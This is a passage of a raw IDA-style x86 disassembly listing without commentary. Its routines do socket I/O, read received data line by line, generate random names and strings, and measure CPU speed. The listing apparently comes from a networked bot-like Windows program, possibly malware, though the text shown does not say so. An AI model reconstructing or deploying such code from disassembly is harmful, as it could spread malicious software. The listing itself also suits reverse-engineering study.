[esp+18h], 1 jle short loc_41AC9D mov edi, ebp loc_41AC4B: ; CODE XREF: ___:0041AC9Bj cmp edi, ebx jz short loc_41AC9D cmp [esp+18h], bl jz short loc_41AC9D call sub_40195B test al, al jz short loc_41AC9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AC28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AC7D cmp al, bl jnz short loc_41AC90 loc_41AC7D: ; CODE XREF: ___:0041AC77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AC8A mov [esi+ebp-1], bl jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC8A: ; CODE XREF: ___:0041AC82j mov [edi], bl loc_41AC8C: ; CODE XREF: ___:0041AC88j mov [esp+18h], bl loc_41AC90: ; CODE XREF: ___:0041AC7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC4B loc_41AC9D: ; CODE XREF: ___:0041AC47j ; ___:0041AC4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ACE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41ACF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ACF2: ; CODE XREF: ___:0041ACEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD03: ; CODE XREF: ___:0041ACFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax call near ptr 71AB951Eh nop pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AD30 proc near ; CODE XREF: sub_401893j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41AD42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD42: ; CODE XREF: sub_41AD30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD53: ; CODE XREF: sub_41AD30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax nop call near ptr 71AC0B50h pop esi retn 8 sub_41AD30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD80: ; CODE XREF: ___:00401C3Fj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41ADBF cmp eax, 0FFFFFFFFh jz short loc_41ADB5 cmp [esi+80Bh], cl jz short loc_41ADB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADB5: ; CODE XREF: ___:0041AD9Ej ; ___:0041ADA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADBF: ; CODE XREF: ___:0041AD99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2DC0h nop test eax, eax jnz short loc_41ADF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADF5: ; CODE XREF: ___:0041ADE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE50: ; CODE XREF: ___:004016E5j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AE6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AE6D: ; CODE XREF: ___:0041AE61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AEA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEA9: ; CODE XREF: ___:0041AE9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AEF0: ; CODE XREF: ___:0040173Aj push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax nop call near ptr 77C47A90h xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AF60 proc near ; CODE XREF: sub_4018BBj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41AF90 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 nop call near ptr 71AB4519h retn 4 ; --------------------------------------------------------------------------- loc_41AF90: ; CODE XREF: sub_41AF60+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 nop call near ptr 71AB4519h retn 4 sub_41AF60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C35 mov dword ptr [esi], offset off_43E0C0 mov eax, esi pop esi retn sub_41AFE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B010 proc near ; CODE XREF: ___:00401915j sub_401E74j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40186B test [esp+4+arg_0], 1 jz short loc_41B028 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B028: ; CODE XREF: sub_41B010+Dj mov eax, esi pop esi retn 4 sub_41B010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B040 proc near ; CODE XREF: sub_40186Bj mov dword ptr [ecx], offset off_43E0C0 add ecx, 4 jmp sub_401FC8 sub_41B040 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_401636j arg_0 = dword ptr 4 push esi push edi call sub_40195B test al, al jnz short loc_41B072 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B072: ; CODE XREF: sub_41B060+9j mov esi, [esp+8+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41B0C5 push esi nop call near ptr 71AB4FD4h mov edi, eax test edi, edi jnz short loc_41B097 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B097: ; CODE XREF: sub_41B060+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B0AC loc_41B0A1: ; CODE XREF: sub_41B060+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B0A1 loc_41B0AC: ; CODE XREF: sub_41B060+3Fj call sub_401EEC dec esi push esi push 0 call sub_4021A3 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B0C5: ; CODE XREF: sub_41B060+20j pop edi pop esi retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B0F0: ; CODE XREF: ___:00402095j push 0FFFFFFFFh push offset loc_43AD07 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40195B test al, al jnz short loc_41B12F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401861 jmp loc_41B2DB ; --------------------------------------------------------------------------- loc_41B12F: ; CODE XREF: ___:0041B118j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401861 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017E4 test eax, eax push offset byte_446F70 jnz short loc_41B16C mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B16C: ; CODE XREF: ___:0041B156j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_446F70 jnz short loc_41B192 mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B192: ; CODE XREF: ___:0041B17Cj lea ecx, [esp+18h] call sub_401861 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017E4 push eax call sub_436FC6 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B1D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov [esp+0Ch], edi jmp loc_41B2C0 ; --------------------------------------------------------------------------- loc_41B1D6: ; CODE XREF: ___:0041B1BBj mov edi, [esp+10h] mov esi, offset dword_443DD4 mov ecx, [edi] mov eax, [ecx+4] loc_41B1E4: ; CODE XREF: ___:0041B202j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B208 cmp cl, bl jz short loc_41B204 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B208 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B1E4 loc_41B204: ; CODE XREF: ___:0041B1EEj xor eax, eax jmp short loc_41B20D ; --------------------------------------------------------------------------- loc_41B208: ; CODE XREF: ___:0041B1EAj ; ___:0041B1F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B20D: ; CODE XREF: ___:0041B206j cmp eax, ebx jz short loc_41B27B push ebp loc_41B212: ; CODE XREF: ___:0041B265j ; ___:0041B269j nop call near ptr 27F0769h and eax, 0Fh cmp al, 8 jnz short loc_41B226 cmp word ptr [edi+8], 0Fh jz short loc_41B26B loc_41B226: ; CODE XREF: ___:0041B21Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B232 mov edi, ebp loc_41B232: ; CODE XREF: ___:0041B22Ej mov eax, [edi+4] mov esi, offset dword_443DD4 loc_41B23A: ; CODE XREF: ___:0041B258j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B25E cmp cl, bl jz short loc_41B25A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B25E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B23A loc_41B25A: ; CODE XREF: ___:0041B244j xor eax, eax jmp short loc_41B263 ; --------------------------------------------------------------------------- loc_41B25E: ; CODE XREF: ___:0041B240j ; ___:0041B24Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B263: ; CODE XREF: ___:0041B25Cj cmp eax, ebx jnz short loc_41B212 mov edi, ebp jmp short loc_41B212 ; --------------------------------------------------------------------------- loc_41B26B: ; CODE XREF: ___:0041B224j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015D7 pop ebp jmp short loc_41B288 ; --------------------------------------------------------------------------- loc_41B27B: ; CODE XREF: ___:0041B20Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015D7 loc_41B288: ; CODE XREF: ___:0041B279j push offset byte_446F70 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B2A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015D7 loc_41B2A8: ; CODE XREF: ___:0041B298j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov dword ptr [esp+0Ch], 1 loc_41B2C0: ; CODE XREF: ___:0041B1D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B2CE: ; CODE XREF: ___:0041B167j ; ___:0041B18Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B2DB: ; CODE XREF: ___:0041B12Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B390: ; CODE XREF: ___:00402135j push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov dword ptr [esi], offset off_43E0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B3D0 proc near ; CODE XREF: sub_4013FCj ___:00402018j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BCC test [esp+4+arg_0], 1 jz short loc_41B3E8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B3E8: ; CODE XREF: sub_41B3D0+Dj mov eax, esi pop esi retn 4 sub_41B3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B400 proc near ; CODE XREF: sub_401BCCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B400 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FC8 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B400 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B470: ; CODE XREF: ___:00401D3Ej push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43E0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4B0 proc near ; CODE XREF: sub_40167Cj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B5C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B5C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401488 mov ebp, dword_50F8D0 test al, al jnz short loc_41B513 loc_41B4E9: ; CODE XREF: sub_41B4B0+61j mov al, [edi+10h] test al, al jz loc_41B5AF mov al, byte_4E6E84 test al, al jz short loc_41B513 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401488 test al, al jz short loc_41B4E9 loc_41B513: ; CODE XREF: sub_41B4B0+37j ; sub_41B4B0+4Bj mov al, [edi+10h] test al, al jz loc_41B5AF loc_41B51E: ; CODE XREF: sub_41B4B0+F9j mov al, byte_4E6E84 test al, al jz loc_41B5AF test esi, esi jnz short loc_41B54E push 80Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B54A push esi mov ecx, eax call sub_401C35 jmp short loc_41B54C ; --------------------------------------------------------------------------- loc_41B54A: ; CODE XREF: sub_41B4B0+8Ej xor eax, eax loc_41B54C: ; CODE XREF: sub_41B4B0+98j mov esi, eax loc_41B54E: ; CODE XREF: sub_41B4B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B81 test al, al jnz short loc_41B567 push 7D0h call ebp jmp short loc_41B5A4 ; --------------------------------------------------------------------------- loc_41B567: ; CODE XREF: sub_41B4B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_401893 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B5A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B5A4: ; CODE XREF: sub_41B4B0+B5j ; sub_41B4B0+E8j mov al, [edi+10h] test al, al jnz loc_41B51E loc_41B5AF: ; CODE XREF: sub_41B4B0+3Ej ; sub_41B4B0+68j ... mov ecx, ebx call sub_4014DD pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B5C0: ; CODE XREF: sub_41B4B0+Bj ; sub_41B4B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B4B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B620: ; CODE XREF: ___:00401C21j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B695 mov esi, ebp loc_41B63F: ; CODE XREF: ___:0041B693j cmp esi, ebx jz short loc_41B695 cmp [esp+18h], bl jz short loc_41B695 mov ecx, [esp+14h] push ebx push 1 push esi push ecx call near ptr 71AB615Ah nop cmp eax, ebx jz short loc_41B6A4 cmp eax, 0FFFFFFFFh jz short loc_41B6A4 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_41B69D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B680 cmp al, 0Dh jz short loc_41B680 cmp al, bl jnz short loc_41B688 loc_41B680: ; CODE XREF: ___:0041B676j ; ___:0041B67Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B688: ; CODE XREF: ___:0041B67Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B63F loc_41B695: ; CODE XREF: ___:0041B63Bj ; ___:0041B641j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B69D: ; CODE XREF: ___:0041B66Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B6A4: ; CODE XREF: ___:0041B65Aj ; ___:0041B65Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B6E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B74A mov edi, ebp loc_41B6FF: ; CODE XREF: sub_41B6E0+68j cmp edi, ebx jz short loc_41B74A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B74A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx call near ptr 71AB615Ah nop test eax, eax jz short loc_41B759 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B72A cmp al, bl jnz short loc_41B73D loc_41B72A: ; CODE XREF: sub_41B6E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B737 mov [esi+ebp-1], bl jmp short loc_41B739 ; --------------------------------------------------------------------------- loc_41B737: ; CODE XREF: sub_41B6E0+4Fj mov [edi], bl loc_41B739: ; CODE XREF: sub_41B6E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B73D: ; CODE XREF: sub_41B6E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B6FF loc_41B74A: ; CODE XREF: sub_41B6E0+1Bj ; sub_41B6E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B759: ; CODE XREF: sub_41B6E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B6E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B780: ; CODE XREF: ___:00401ADCj push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B7DB loc_41B7A6: ; CODE XREF: ___:0041B7D9j push 3 push 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B7C7 dec eax jz short loc_41B7C1 dec eax jnz short loc_41B7D6 push 7Ah push 61h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C1: ; CODE XREF: ___:0041B7B6j push 5Ah push 41h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C7: ; CODE XREF: ___:0041B7B3j push 39h push 30h loc_41B7CB: ; CODE XREF: ___:0041B7BFj ; ___:0041B7C5j call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B7D6: ; CODE XREF: ___:0041B7B9j inc esi cmp esi, ebp jl short loc_41B7A6 loc_41B7DB: ; CODE XREF: ___:0041B7A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B800 proc near ; CODE XREF: sub_40141Aj rdtsc retn sub_41B800 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B820 proc near ; CODE XREF: sub_4017F3j var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_50F8D0 push ebp push esi push edi xor ebp, ebp loc_41B82F: ; CODE XREF: sub_41B820+43j ; sub_41B820+4Dj call sub_40141A push 3E8h mov esi, eax mov edi, edx call ebx call sub_40141A sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_436970 push ebp push 0Ah push edx push eax call sub_436970 cmp edx, ebp mov esi, eax ja short loc_41B82F jb short loc_41B86F cmp esi, 0F4240h ja short loc_41B82F loc_41B86F: ; CODE XREF: sub_41B820+45j push ebp push 64h push edx push esi call sub_4368F0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B8F9 jb short loc_41B88F cmp ecx, 50h jnb short loc_41B898 loc_41B88F: ; CODE XREF: sub_41B820+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B898: ; CODE XREF: sub_41B820+6Dj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8A3 cmp ecx, 47h jnb short loc_41B8AC loc_41B8A3: ; CODE XREF: sub_41B820+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B8AC: ; CODE XREF: sub_41B820+81j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8B7 cmp ecx, 37h jnb short loc_41B8C0 loc_41B8B7: ; CODE XREF: sub_41B820+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B8C0: ; CODE XREF: sub_41B820+95j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8CB cmp ecx, 26h jnb short loc_41B8D4 loc_41B8CB: ; CODE XREF: sub_41B820+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B8D4: ; CODE XREF: sub_41B820+A9j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8DF cmp ecx, 1Eh jnb short loc_41B8E8 loc_41B8DF: ; CODE XREF: sub_41B820+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B8E8: ; CODE XREF: sub_41B820+BDj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8F3 cmp ecx, 0Ah jnb short loc_41B8F9 loc_41B8F3: ; CODE XREF: sub_41B820+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B8F9: ; CODE XREF: sub_41B820+66j ; sub_41B820+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B950 proc near ; CODE XREF: sub_402022j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41B950 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_447769 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BAAF push ebp lea ecx, [esp+50h+var_3C] call sub_401424 push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C5D mov ebp, eax call sub_401EEC lea ecx, [esp+50h+var_3C] call sub_4013D9 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp call near ptr 2820000h nop test eax, eax jnz short loc_41B9E6 mov edi, offset byte_446F70 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41B9E6: ; CODE XREF: sub_41B950+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41B9EF: ; CODE XREF: sub_41B950+A9j cmp ecx, eax jnz short loc_41B9F5 mov bl, 1 loc_41B9F5: ; CODE XREF: sub_41B950+A1j inc eax cmp eax, 5Bh jl short loc_41B9EF mov eax, 61h loc_41BA00: ; CODE XREF: sub_41B950+BAj cmp ecx, eax jnz short loc_41BA06 mov bl, 1 loc_41BA06: ; CODE XREF: sub_41B950+B2j inc eax cmp eax, 7Bh jl short loc_41BA00 test bl, bl jnz short loc_41BA32 mov edi, offset byte_446F70 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BA32: ; CODE XREF: sub_41B950+BEj mov esi, dword_50FABC call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BAAF: ; CODE XREF: sub_41B950+2Aj lea ecx, [esp+4Ch+var_24] call sub_401424 mov ebx, 2 mov [esp+4Ch+var_4], ebx call near ptr 27F0769h nop push eax nop call near ptr 77C371BCh mov edi, dword_50FABC add esp, 4 call edi ; rand cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015D7 test esi, esi jle short loc_41BB4E loc_41BAF8: ; CODE XREF: sub_41B950+1FCj lea ecx, [esp+4Ch+var_3C] call sub_401424 lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FBE call edi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+54h+var_24] push offset dword_443E84 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BAF8 loc_41BB4E: ; CODE XREF: sub_41B950+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014C9 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41B950 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC20: ; CODE XREF: 